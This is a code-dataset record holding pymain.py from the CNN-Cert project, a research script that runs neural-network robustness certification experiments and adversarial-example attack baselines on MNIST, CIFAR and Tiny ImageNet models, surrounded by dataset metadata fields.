| 36.77907 | 121 | 0.626936 | 761 | 6,326 | 5.144547 | 0.1682 | 0.061814 | 0.073563 | 0.110345 | 0.773691 | 0.759132 | 0.759132 | 0.759132 | 0.759132 | 0.759132 | 0 | 0 | 0.277901 | 6,326 | 171 | 122 | 36.994152 | 0.857049 | 0.678628 | 0 | 0.833333 | 0 | 0 | 0.024194 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.388889 | false | 0 | 0 | 0.055556 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 8 |
a746d1074ef4759b0c8d7742cf962eac204dff73 | 33,394 | py | Python | cnn_cert/pymain.py | AI-secure/VeriGauge | 098861c5d7330c934cec01fcf6dbf80e1b1fda2d | [
"MIT"
] | 54 | 2020-09-09T12:43:43.000Z | 2022-03-17T17:31:19.000Z | cnn_cert/pymain.py | AI-secure/VeriGauger | 098861c5d7330c934cec01fcf6dbf80e1b1fda2d | [
"MIT"
] | 8 | 2020-09-23T05:11:31.000Z | 2022-03-12T00:47:29.000Z | cnn_cert/pymain.py | AI-secure/VeriGauger | 098861c5d7330c934cec01fcf6dbf80e1b1fda2d | [
"MIT"
] | 5 | 2020-09-10T07:19:43.000Z | 2021-07-24T06:28:04.000Z | """
pymain.py
Main CNN-Cert interfacing file
Copyright (C) 2018, Akhilan Boopathy <akhilan@mit.edu>
Lily Weng <twweng@mit.edu>
Pin-Yu Chen <Pin-Yu.Chen@ibm.com>
Sijia Liu <Sijia.Liu@ibm.com>
Luca Daniel <dluca@mit.edu>
"""
import subprocess
import numpy as np
from cnn_bounds_full import run as run_cnn_full
from cnn_bounds_full_core import run as run_cnn_full_core
from Attacks.cw_attack import cw_attack
from tensorflow.contrib.keras.api.keras import backend as K
import time as timing
import datetime
ts = timing.time()
timestr = datetime.datetime.fromtimestamp(ts).strftime('%Y%m%d_%H%M%S')
#Prints to log file
def printlog(s):
print(s, file=open("log_pymain_"+timestr+".txt", "a"))
#Runs command line command
def command(cmd):
return subprocess.run(cmd, stdout=subprocess.PIPE, shell=True).stdout.decode('utf-8')
#Runs fastlin with specified parameters
def run(hidden, numlayer, numimage, norm, filename = '', layers = None, lp=False, lpfull= False, dual=False, sparse = False, spectral = False, cifar = False, cnnmodel = False, tinyimagenet=False):
if sparse:
cmd = 'python3 fastlin/main_sparse.py '
else:
cmd = 'python3 fastlin/main.py '
if cifar:
cmd += '--model cifar '
if tinyimagenet:
cmd += '--model tiny '
if spectral:
cmd += '--method spectral '
if cnnmodel:
cmd += '--cnnmodel '
cmd += '--hidden ' + str(hidden) + ' '
cmd += '--numlayer ' + str(numlayer) + ' '
cmd += '--numimage ' + str(numimage) + ' '
cmd += '--norm ' + str(norm) + ' '
if lp:
cmd += '--LP '
if lpfull:
cmd += '--LPFULL '
if dual:
cmd += '--dual '
if filename:
cmd += '--filename ' + str(filename) + ' '
cmd += '--layers ' + ' '.join(str(l) for l in layers) + ' '
cmd += '--eps 0.05 --warmup --targettype random'
printlog("cmd: " +str(cmd))
result = command(cmd)
result = result.rsplit('\n',2)[-2].split(',')
LB = result[1].strip()[20:]
time = result[3].strip()[17:]
return float(LB), float(time)
#Runs CNN-Cert with specified parameters
def run_cnn(file_name, n_samples, norm, core=True, activation='relu', cifar=False, tinyimagenet=False):
if core:
if norm == 'i':
#run_cnn_full_core(file_name, n_samples, 105, 1, activation, cifar, tinyimagenet)
return run_cnn_full_core(file_name, n_samples, 105, 1, activation, cifar, tinyimagenet)
elif norm == '2':
return run_cnn_full_core(file_name, n_samples, 2, 2, activation, cifar, tinyimagenet)
if norm == '1':
return run_cnn_full_core(file_name, n_samples, 1, 105, activation, cifar, tinyimagenet)
else:
if norm == 'i':
return run_cnn_full(file_name, n_samples, 105, 1, activation, cifar, tinyimagenet)
elif norm == '2':
return run_cnn_full(file_name, n_samples, 2, 2, activation, cifar, tinyimagenet)
if norm == '1':
return run_cnn_full(file_name, n_samples, 1, 105, activation, cifar, tinyimagenet)
#Runs all fastlin and CNN-Cert variations
def run_all_relu(layers, file_name, mlp_file_name, cifar = False, num_image=10, flfull = False, nonada = False):
if len(file_name.split('_')) == 5:
filters = file_name.split('_')[-2]
kernel_size = file_name.split('_')[-1]
else:
filters = None
LBs = []
times = []
for norm in ['i', '2', '1']:
LBss = []
timess = []
if nonada: #Run non adaptive CNN-Cert bounds
LB, time = run_cnn(file_name, num_image, norm, cifar=cifar)
printlog("CNN-Cert-relu")
if filters:
printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random, filters = {4}, kernel size = {5}".format(file_name,len(layers)+1,num_image,norm,filters,kernel_size))
else:
printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random".format(file_name,len(layers)+1,num_image,norm))
printlog("avg robustness = {:.5f}".format(LB))
printlog("avg run time = {:.2f}".format(time)+" sec")
printlog("-----------------------------------")
LBss.append(LB)
timess.append(time)
LB, time = run_cnn(file_name, num_image, norm, activation='ada', cifar=cifar)
printlog("CNN-Cert-Ada, ReLU activation")
if filters:
printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random, filters = {4}, kernel size = {5}".format(file_name,len(layers)+1,num_image,norm,filters,kernel_size))
else:
printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random".format(file_name,len(layers)+1,num_image,norm))
printlog("avg robustness = {:.5f}".format(LB))
printlog("avg run time = {:.2f}".format(time)+" sec")
printlog("-----------------------------------")
LBss.append(LB)
timess.append(time)
LB, time = run(999, len(layers)+1, num_image, norm, mlp_file_name, layers, sparse=True, cifar=cifar)
printlog("fastlin, Sparse")
if filters:
printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random, filters = {4}, kernel size = {5}".format(file_name,len(layers)+1,num_image,norm,filters,kernel_size))
else:
printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random".format(file_name,len(layers)+1,num_image,norm))
printlog("avg robustness = {:.5f}".format(LB))
printlog("avg run time = {:.2f}".format(time)+" sec")
printlog("-----------------------------------")
LBss.append(LB)
timess.append(time)
if flfull: #Run full matrix version of fastlin
LB, time = run(999, len(layers)+1, num_image, norm, mlp_file_name, layers, cifar=cifar)
printlog("fastlin")
if filters:
printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random, filters = {4}, kernel size = {5}".format(file_name,len(layers)+1,num_image,norm,filters,kernel_size))
else:
printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random".format(file_name,len(layers)+1,num_image,norm))
printlog("avg robustness = {:.5f}".format(LB))
printlog("avg run time = {:.2f}".format(time)+" sec")
printlog("-----------------------------------")
LBss.append(LB)
timess.append(time)
LB, time = run(999, len(layers)+1, num_image, norm, mlp_file_name, layers, spectral=True, cifar=cifar)
printlog("Global-Lips (spectral)")
if filters:
printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random, filters = {4}, kernel size = {5}".format(file_name,len(layers)+1,num_image,norm,filters,kernel_size))
else:
printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random".format(file_name,len(layers)+1,num_image,norm))
printlog("avg robustness = {:.5f}".format(LB))
printlog("avg run time = {:.2f}".format(time)+" sec")
printlog("-----------------------------------")
LBss.append(LB)
timess.append(time)
LBs.append(LBss)
times.append(timess)
return LBs, times
#Runs all general activation function versions of CNN-Cert
def run_all_general(file_name, num_image = 10, core=True, cifar=False, ada=True, onlyrelu=False, skipsigmoid=False):
if len(file_name.split('_')) == 5:
nlayer = file_name.split('_')[-3][0]
filters = file_name.split('_')[-2]
kernel_size = file_name.split('_')[-1]
else:
filters = None
LBs = []
times = []
for norm in ['i', '2', '1']:
LBss = []
timess = []
LB, time = run_cnn(file_name, num_image, norm, core=core, activation = 'relu', cifar= cifar)
printlog("CNN-Cert-relu")
if filters:
printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random, filters = {4}, kernel size = {5}".format(file_name,nlayer,num_image,norm,filters,kernel_size))
else:
printlog("model name = {0}, numimage = {1}, norm = {2}, targettype = random".format(file_name,num_image,norm))
printlog("avg robustness = {:.5f}".format(LB))
printlog("avg run time = {:.2f}".format(time)+" sec")
printlog("-----------------------------------")
LBss.append(LB)
timess.append(time)
if ada:
LB, time = run_cnn(file_name, num_image, norm, core=core, activation = 'ada', cifar= cifar)
printlog("CNN-Cert-Ada, ReLU activation")
if filters:
printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random, filters = {4}, kernel size = {5}".format(file_name,nlayer,num_image,norm,filters,kernel_size))
else:
printlog("model name = {0}, numimage = {1}, norm = {2}, targettype = random".format(file_name,num_image,norm))
printlog("avg robustness = {:.5f}".format(LB))
printlog("avg run time = {:.2f}".format(time)+" sec")
printlog("-----------------------------------")
LBss.append(LB)
timess.append(time)
if not onlyrelu:
if not skipsigmoid:
LB, time = run_cnn(file_name + '_sigmoid', num_image, norm, core=core, activation = 'sigmoid', cifar= cifar)
printlog("CNN-Cert-Ada, Sigmoid activation")
if filters:
printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random, filters = {4}, kernel size = {5}".format(file_name,nlayer,num_image,norm,filters,kernel_size))
else:
printlog("model name = {0}, numimage = {1}, norm = {2}, targettype = random".format(file_name,num_image,norm))
printlog("avg robustness = {:.5f}".format(LB))
printlog("avg run time = {:.2f}".format(time)+" sec")
printlog("-----------------------------------")
LBss.append(LB)
timess.append(time)
LB, time = run_cnn(file_name + '_tanh', num_image, norm, core=core, activation = 'tanh', cifar= cifar)
printlog("CNN-Cert-Ada, Tanh activation")
if filters:
printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random, filters = {4}, kernel size = {5}".format(file_name,nlayer,num_image,norm,filters,kernel_size))
else:
printlog("model name = {0}, numimage = {1}, norm = {2}, targettype = random".format(file_name,num_image,norm))
printlog("avg robustness = {:.5f}".format(LB))
printlog("avg run time = {:.2f}".format(time)+" sec")
printlog("-----------------------------------")
LBss.append(LB)
timess.append(time)
LB, time = run_cnn(file_name + '_atan', num_image, norm, core=core, activation = 'arctan', cifar= cifar)
printlog("CNN-Cert-Ada, Arctan activation")
if filters:
printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random, filters = {4}, kernel size = {5}".format(file_name,nlayer,num_image,norm,filters,kernel_size))
else:
printlog("model name = {0}, numimage = {1}, norm = {2}, targettype = random".format(file_name,num_image,norm))
printlog("avg robustness = {:.5f}".format(LB))
printlog("avg run time = {:.2f}".format(time)+" sec")
printlog("-----------------------------------")
LBss.append(LB)
timess.append(time)
LBs.append(LBss)
times.append(timess)
return LBs, times
#Runs Dual LP version of fastlin
def run_LP(layers, mlp_file_name, num_image=10, core=True, cifar=False):
LBs = []
times = []
for norm in ['i', '2', '1']:
LBss = []
timess = []
LB, time = run(999, len(layers)+1, num_image, norm, mlp_file_name, layers, lp=True, dual=True, cifar=cifar)
printlog("Dual-LP")
printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random".format(mlp_file_name,len(layers)+1,num_image,norm))
printlog("avg robustness = {:.5f}".format(LB))
printlog("avg run time = {:.2f}".format(time)+" sec")
printlog("-----------------------------------")
LBss.append(LB)
timess.append(time)
LBs.append(LBss)
times.append(timess)
return LBs, times
from CLEVER.collect_gradients import collect_gradients
def run_CLEVER(file_name, num_image = 10, cifar=False, tinyimagenet=False):
if len(file_name.split('_')) == 5:
nlayer = file_name.split('_')[-3][0]
filters = file_name.split('_')[-2]
kernel_size = file_name.split('_')[-1]
else:
filters = None
dataset = 'mnist'
if cifar:
dataset = 'cifar'
if tinyimagenet:
dataset = 'tinyimagenet'
LBs = []
times = []
for norm in ['i', '2', '1']:
LBss = []
timess = []
LB, time = collect_gradients(dataset, file_name, norm, num_image)
printlog("CLEVER")
if filters:
printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random, filters = {4}, kernel size = {5}".format(file_name,nlayer,num_image,norm,filters,kernel_size))
else:
printlog("model name = {0}, numimage = {1}, norm = {2}, targettype = random".format(file_name,num_image,norm))
printlog("avg robustness = {:.5f}".format(LB))
printlog("avg run time = {:.2f}".format(time)+" sec")
printlog("-----------------------------------")
LBss.append(LB)
timess.append(time)
LBs.append(LBss)
times.append(timess)
return LBs, times
#Runs global Lips bound
def run_global(file_name, num_layers, num_image=10, cifar=False, tinyimagenet=False):
if len(file_name.split('_')) == 5:
filters = file_name.split('_')[-2]
kernel_size = file_name.split('_')[-1]
else:
filters = None
LBs = []
times = []
for norm in ['i', '2', '1']:
LBss = []
timess = []
LB, time = run(999, num_layers+1, num_image, norm, file_name, [1 for i in range(num_layers+1)], spectral=True, dual=True, cifar=cifar, cnnmodel=True, tinyimagenet=tinyimagenet)
printlog("Global-Lips (spectral)")
if filters:
printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random, filters = {4}, kernel size = {5}".format(file_name,len(layers)+1,num_image,norm,filters,kernel_size))
else:
printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random".format(file_name,len(layers)+1,num_image,norm))
printlog("avg robustness = {:.5f}".format(LB))
printlog("avg run time = {:.2f}".format(time)+" sec")
printlog("-----------------------------------")
LBss.append(LB)
timess.append(time)
LBs.append(LBss)
times.append(timess)
return LBs, times
#Run all norm attacks
def run_attack(file_name, sess, num_image = 10, cifar = False, tinyimagenet=False):
if len(file_name.split('_')) == 5:
nlayer = file_name.split('_')[-3][0]
filters = file_name.split('_')[-2]
kernel_size = file_name.split('_')[-1]
else:
filters = None
UBs = []
times = []
for norm in ['i', '2', '1']:
UB, time = cw_attack(file_name, norm, sess, num_image, cifar, tinyimagenet)
printlog("CW/EAD")
if filters:
printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random, filters = {4}, kernel size = {5}".format(file_name,nlayer,num_image,norm,filters,kernel_size))
else:
printlog("model name = {0}, numimage = {1}, norm = {2}, targettype = random".format(file_name,num_image,norm))
printlog("avg robustness = {:.5f}".format(UB))
printlog("avg run time = {:.2f}".format(time)+" sec")
printlog("-----------------------------------")
UBs.append([UB])
times.append([time])
return UBs, times
if __name__ == '__main__':
LB = []
time = []
table = 13
print("==================================================")
print("================ Running Table {} ================".format(table))
print("==================================================")
print('CNN-Cert, fastlin and LP')
printlog("Table {} result".format(table))
printlog("-----------------------------------")
if table == 1:
# Testing algorithm once
LBs, times = run_all_relu([3380, 2880, 2420], 'models/mnist_cnn_4layer_5_3', 'models/mnist_cnn_as_mlp_4layer_5_3', flfull=True)
LB.append(LBs)
time.append(times)
LBs, times = run_all_relu([13520, 11520, 9680], 'models/mnist_cnn_4layer_20_3', 'models/mnist_cnn_as_mlp_4layer_20_3', flfull=True)
LB.append(LBs)
time.append(times)
LBs, times = run_CLEVER('models/mnist_cnn_4layer_5_3')
LB.append(LBs)
time.append(times)
LBs, times = run_CLEVER('models/mnist_cnn_4layer_20_3')
LB.append(LBs)
time.append(times)
if table == 3 or table == 4:
#Table 3+4
LBs, times = run_all_relu([3380, 2880, 2420], 'models/mnist_cnn_4layer_5_3', 'models/mnist_cnn_as_mlp_4layer_5_3', flfull=True)
LB.append(LBs)
time.append(times)
LBs, times = run_LP([3380, 2880, 2420], 'models/mnist_cnn_as_mlp_4layer_5_3')
LB.append(LBs)
time.append(times)
LBs, times = run_all_relu([13520, 11520, 9680], 'models/mnist_cnn_4layer_20_3', 'models/mnist_cnn_as_mlp_4layer_20_3', flfull=True)
LB.append(LBs)
time.append(times)
LBs, times = run_all_relu([3380, 2880, 2420,2000], 'models/mnist_cnn_5layer_5_3', 'models/mnist_cnn_as_mlp_5layer_5_3', flfull=True)
LB.append(LBs)
time.append(times)
LBs, times = run_all_relu([4500, 3920, 3380, 2880, 2420, 2000], 'models/cifar_cnn_7layer_5_3', 'models/cifar_cnn_as_mlp_7layer_5_3', cifar=True, flfull=True)
LB.append(LBs)
time.append(times)
LBs, times = run_all_relu([9000, 7840, 6760, 5760], 'models/cifar_cnn_5layer_10_3', 'models/cifar_cnn_as_mlp_5layer_10_3', cifar=True, flfull=True)
LB.append(LBs)
time.append(times)
if table == 5:
# Table 5
LBs, times = run_all_general('models/mnist_cnn_lenet', core=False)
LB.append(LBs)
time.append(times)
LBs, times = run_all_general('models/mnist_cnn_7layer', core=False)
LB.append(LBs)
time.append(times)
LBs, times = run_all_general('models/mnist_cnn_lenet_nopool', onlyrelu=True, core=False)
LB.append(LBs)
time.append(times)
LBs, times = run_all_general('models/mnist_cnn_4layer_5_3_bn', onlyrelu=True, core=False)
LB.append(LBs)
time.append(times)
LBs, times = run_all_general('models/mnist_cnn_4layer_5_3', onlyrelu=True)
LB.append(LBs)
time.append(times)
LBs, times = run_all_general('models/tiny_cnn_7layer', onlyrelu=True)
LB.append(LBs)
time.append(times)
LBs, times = run_all_general('models/mnist_cnn_lenet', num_image=100, core=False)
LB.append(LBs)
time.append(times)
LBs, times = run_all_general('models/mnist_cnn_4layer_5_3', num_image=100, ada=False)
LB.append(LBs)
time.append(times)
if table == 6:
#Table 6
LBs, times = run_all_general('models/mnist_resnet_2', core=False)
LB.append(LBs)
time.append(times)
LBs, times = run_all_general('models/mnist_resnet_3', core=False)
LB.append(LBs)
time.append(times)
LBs, times = run_all_general('models/mnist_resnet_4', core=False)
LB.append(LBs)
time.append(times)
if table == 7:
#Table 7
LBs, times = run_all_general('models/mnist_cnn_8layer_5_3')
LB.append(LBs)
time.append(times)
LBs, times = run_all_general('models/mnist_cnn_lenet', core=False)
LB.append(LBs)
time.append(times)
LBs, times = run_all_general('models/mnist_cnn_7layer', skipsigmoid=True)
LB.append(LBs)
time.append(times)
LBs, times = run_all_general('models/mnist_resnet_3', core=False)
LB.append(LBs)
time.append(times)
if table == 8:
#Table 8
LBs, times = run_all_relu([20], 'models/mnist_2layer_fc_20', 'models/mnist_2layer_fc_20', flfull=True)
LB.append(LBs)
time.append(times)
LBs, times = run_LP([20], 'models/mnist_2layer_fc_20')
LB.append(LBs)
time.append(times)
LBs, times = run_all_relu([20,20], 'models/mnist_3layer_fc_20', 'models/mnist_3layer_fc_20', flfull=True)
LB.append(LBs)
time.append(times)
LBs, times = run_LP([20,20], 'models/mnist_3layer_fc_20')
LB.append(LBs)
time.append(times)
if table == 10 or table == 11:
#Table 10+11
LBs, times = run_all_relu([3380], 'models/mnist_cnn_2layer_5_3', 'models/mnist_cnn_as_mlp_2layer_5_3', flfull=True)
LB.append(LBs)
time.append(times)
LBs, times = run_all_relu([3380, 2880], 'models/mnist_cnn_3layer_5_3', 'models/mnist_cnn_as_mlp_3layer_5_3', flfull=True)
LB.append(LBs)
time.append(times)
LBs, times = run_all_relu([3380, 2880, 2420,2000,1620], 'models/mnist_cnn_6layer_5_3', 'models/mnist_cnn_as_mlp_6layer_5_3', flfull=True)
LB.append(LBs)
time.append(times)
LBs, times = run_all_relu([3380, 2880, 2420,2000,1620,1280], 'models/mnist_cnn_7layer_5_3', 'models/mnist_cnn_as_mlp_7layer_5_3', flfull=True)
LB.append(LBs)
time.append(times)
LBs, times = run_all_relu([3380, 2880, 2420,2000,1620,1280,980], 'models/mnist_cnn_8layer_5_3', 'models/mnist_cnn_as_mlp_8layer_5_3', flfull=True)
LB.append(LBs)
time.append(times)
LBs, times = run_all_relu([4500, 3920, 3380, 2880], 'models/cifar_cnn_5layer_5_3', 'models/cifar_cnn_as_mlp_5layer_5_3', cifar=True, flfull=True)
LB.append(LBs)
time.append(times)
LBs, times = run_all_relu([4500, 3920, 3380, 2880, 2420], 'models/cifar_cnn_6layer_5_3', 'models/cifar_cnn_as_mlp_6layer_5_3', cifar=True, flfull=True)
LB.append(LBs)
time.append(times)
LBs, times = run_all_relu([4500, 3920, 3380, 2880, 2420, 2000, 1620], 'models/cifar_cnn_8layer_5_3', 'models/cifar_cnn_as_mlp_8layer_5_3', cifar=True, flfull=True)
LB.append(LBs)
time.append(times)
LBs, times = run_all_relu([6760, 5760, 4840], 'models/mnist_cnn_4layer_10_3', 'models/mnist_cnn_as_mlp_4layer_10_3', flfull=False)
LB.append(LBs)
time.append(times)
LBs, times = run_all_relu([6760, 5760, 4840, 4000, 3240, 2560, 1960], 'models/mnist_cnn_8layer_10_3', 'models/mnist_cnn_as_mlp_8layer_10_3', flfull=False)
LB.append(LBs)
time.append(times)
LBs, times = run_all_relu([9000, 7840, 6760, 5760, 4840, 4000], 'models/cifar_cnn_7layer_10_3', 'models/cifar_cnn_as_mlp_7layer_10_3', cifar=True, flfull=False)
LB.append(LBs)
time.append(times)
LBs, times = run_all_relu([13520, 11520, 9680, 8000, 6480, 5120, 3920], 'models/mnist_cnn_8layer_20_3', 'models/mnist_cnn_as_mlp_8layer_20_3', flfull=False)
LB.append(LBs)
time.append(times)
LBs, times = run_all_relu([18000, 15680, 13520, 11520], 'models/cifar_cnn_5layer_20_3', 'models/cifar_cnn_as_mlp_5layer_20_3', cifar=True, flfull=False)
LB.append(LBs)
time.append(times)
LBs, times = run_all_relu([18000, 15680, 13520, 11520, 9680, 8000], 'models/cifar_cnn_7layer_20_3', 'models/cifar_cnn_as_mlp_7layer_20_3', cifar=True, flfull=False)
LB.append(LBs)
time.append(times)
if table == 12:
#Table 12
LBs, times = run_all_general('models/mnist_cnn_4layer_5_3')
LB.append(LBs)
time.append(times)
LBs, times = run_all_general('models/mnist_cnn_5layer_5_3',onlyrelu=True)
LB.append(LBs)
time.append(times)
LBs, times = run_all_general('models/cifar_cnn_7layer_5_3', cifar=True)
LB.append(LBs)
time.append(times)
LBs, times = run_all_general('models/mnist_resnet_2', core=False)
LB.append(LBs)
time.append(times)
LBs, times = run_all_general('models/mnist_resnet_4', core=False)
LB.append(LBs)
time.append(times)
LBs, times = run_all_general('models/mnist_resnet_5', core=False)
LB.append(LBs)
time.append(times)
if table == 13:
#Table 13
LBs, times = run_all_general('models/mnist_cnn_8layer_5_3', core=False)
LB.append(LBs)
time.append(times)
print(LB)
print(time)
print('CLEVER')
if table == 3 or table == 4:
#Table 3+4
LBs, times = run_CLEVER('models/mnist_cnn_4layer_5_3')
LB.append(LBs)
time.append(times)
LBs, times = run_CLEVER('models/mnist_cnn_4layer_20_3')
LB.append(LBs)
time.append(times)
LBs, times = run_CLEVER('models/mnist_cnn_5layer_5_3')
LB.append(LBs)
time.append(times)
LBs, times = run_CLEVER('models/cifar_cnn_7layer_5_3', cifar=True)
LB.append(LBs)
time.append(times)
LBs, times = run_CLEVER('models/cifar_cnn_5layer_10_3', cifar=True)
LB.append(LBs)
time.append(times)
if table == 5:
#Table 5
LBs, times = run_CLEVER('models/mnist_cnn_lenet')
LB.append(LBs)
time.append(times)
LBs, times = run_CLEVER('models/mnist_cnn_7layer')
LB.append(LBs)
time.append(times)
LBs, times = run_CLEVER('models/mnist_cnn_lenet_nopool')
LB.append(LBs)
time.append(times)
LBs, times = run_CLEVER('models/mnist_cnn_4layer_5_3_bn')
LB.append(LBs)
time.append(times)
LBs, times = run_CLEVER('models/mnist_cnn_4layer_5_3')
LB.append(LBs)
time.append(times)
LBs, times = run_CLEVER('models/tiny_cnn_7layer', tinyimagenet=True, num_image = 1)
LB.append(LBs)
time.append(times)
LBs, times = run_CLEVER('models/mnist_cnn_lenet', num_image=100)
LB.append(LBs)
time.append(times)
LBs, times = run_CLEVER('models/mnist_cnn_4layer_5_3', num_image=100)
LB.append(LBs)
time.append(times)
if table == 6:
#Table 6
LBs, times = run_CLEVER('models/mnist_resnet_2')
LB.append(LBs)
time.append(times)
LBs, times = run_CLEVER('models/mnist_resnet_3')
LB.append(LBs)
time.append(times)
LBs, times = run_CLEVER('models/mnist_resnet_4')
LB.append(LBs)
time.append(times)
if table == 7:
#Table 7
LBs, times = run_CLEVER('models/mnist_cnn_8layer_5_3')
LB.append(LBs)
time.append(times)
LBs, times = run_CLEVER('models/mnist_cnn_lenet')
LB.append(LBs)
time.append(times)
LBs, times = run_CLEVER('models/mnist_cnn_7layer')
LB.append(LBs)
time.append(times)
LBs, times = run_CLEVER('models/mnist_resnet_3')
LB.append(LBs)
time.append(times)
if table == 8:
#Table 8
LBs, times = run_CLEVER('models/mnist_2layer_fc_20')
LB.append(LBs)
time.append(times)
LBs, times = run_CLEVER('models/mnist_3layer_fc_20')
LB.append(LBs)
time.append(times)
print(LB)
print(time)
print('CW/EAD')
with K.get_session() as sess:
if table == 3:
#Table 3
LBs, times = run_attack('models/mnist_cnn_4layer_5_3', sess)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/mnist_cnn_4layer_20_3', sess)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/mnist_cnn_5layer_5_3', sess)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/cifar_cnn_7layer_5_3', sess, cifar=True)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/cifar_cnn_5layer_10_3', sess, cifar = True)
LB.append(LBs)
time.append(times)
if table == 5:
#Table 5
LBs, times = run_attack('models/mnist_cnn_lenet', sess)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/mnist_cnn_7layer', sess)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/mnist_cnn_lenet_nopool', sess)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/mnist_cnn_4layer_5_3_bn', sess)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/mnist_cnn_4layer_5_3', sess)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/tiny_cnn_7layer', sess, tinyimagenet = True)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/mnist_cnn_lenet', sess, num_image=100)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/mnist_cnn_4layer_5_3', sess, num_image=100)
LB.append(LBs)
time.append(times)
if table == 6:
#Table 6
LBs, times = run_attack('models/mnist_resnet_2', sess)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/mnist_resnet_3', sess)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/mnist_resnet_4', sess)
LB.append(LBs)
time.append(times)
if table == 7:
#Table 7
LBs, times = run_attack('models/mnist_cnn_8layer_5_3', sess)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/mnist_cnn_lenet', sess)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/mnist_cnn_7layer', sess)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/mnist_resnet_3', sess)
LB.append(LBs)
time.append(times)
if table == 8:
# Table 8
LBs, times = run_attack('models/mnist_2layer_fc_20', sess)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/mnist_3layer_fc_20', sess)
LB.append(LBs)
time.append(times)
if table == 10:
#Table 10
LBs, times = run_attack('models/mnist_cnn_2layer_5_3', sess)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/mnist_cnn_3layer_5_3', sess)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/mnist_cnn_6layer_5_3', sess)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/mnist_cnn_7layer_5_3', sess)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/mnist_cnn_8layer_5_3', sess)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/cifar_cnn_5layer_5_3', sess, cifar=True)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/cifar_cnn_6layer_5_3', sess, cifar=True)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/cifar_cnn_8layer_5_3', sess, cifar=True)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/mnist_cnn_4layer_10_3', sess)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/mnist_cnn_8layer_10_3', sess)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/cifar_cnn_7layer_10_3', sess, cifar = True)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/mnist_cnn_8layer_20_3', sess)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/cifar_cnn_5layer_20_3', sess, cifar = True)
LB.append(LBs)
time.append(times)
LBs, times = run_attack('models/cifar_cnn_7layer_20_3', sess, cifar = True)
LB.append(LBs)
time.append(times)
| 46.124309 | 210 | 0.585734 | 4,376 | 33,394 | 4.265768 | 0.055987 | 0.050571 | 0.064231 | 0.086784 | 0.858467 | 0.848181 | 0.806021 | 0.775593 | 0.773718 | 0.75454 | 0 | 0.045024 | 0.257741 | 33,394 | 723 | 211 | 46.188105 | 0.708073 | 0.027041 | 0 | 0.719457 | 0 | 0.030166 | 0.250092 | 0.129052 | 0.001508 | 0 | 0 | 0 | 0 | 1 | 0.015083 | false | 0 | 0.013575 | 0.001508 | 0.049774 | 0.147813 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a76bb2d762c6d2d857a9ad0dbb84e66645b3a650 | 992,926 | py | Python | experiment_results/exp_sim_regular_20190324T100329Z_archive.py | carstenblank/Quantum-classifier-with-tailored-quantum-kernels---Supplemental | 7c3188f0b71e825bc8ce2b1577a93d10b34abdbc | [
"Apache-2.0"
